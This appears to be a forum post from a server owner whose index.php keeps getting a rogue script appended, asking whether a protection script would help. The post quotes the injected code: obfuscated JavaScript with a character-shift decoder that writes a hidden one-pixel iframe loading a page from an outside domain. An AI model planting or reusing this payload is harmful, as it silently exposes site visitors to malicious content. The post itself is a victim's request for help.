With this script help

Hi,

I have a server with several domains.
One is continually being attacked with a rogue script being appended to the end of index.php

The script is:

<script>var source ="=jgsbnf!tsd>#iuuq;00pqfsbujwf/dd0hpphmf0jgsbnf/qiq#!xjeui>2!ifjhiu>2!tuzmf>#wjtjcjmjuz;!ijeefo#?=0jgsbnf?"; var result = "";
for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1);
document.write(result); </script>

Would your script offer protection for this, our provider has thoroughly checked and can find no evidence of the server being hacked.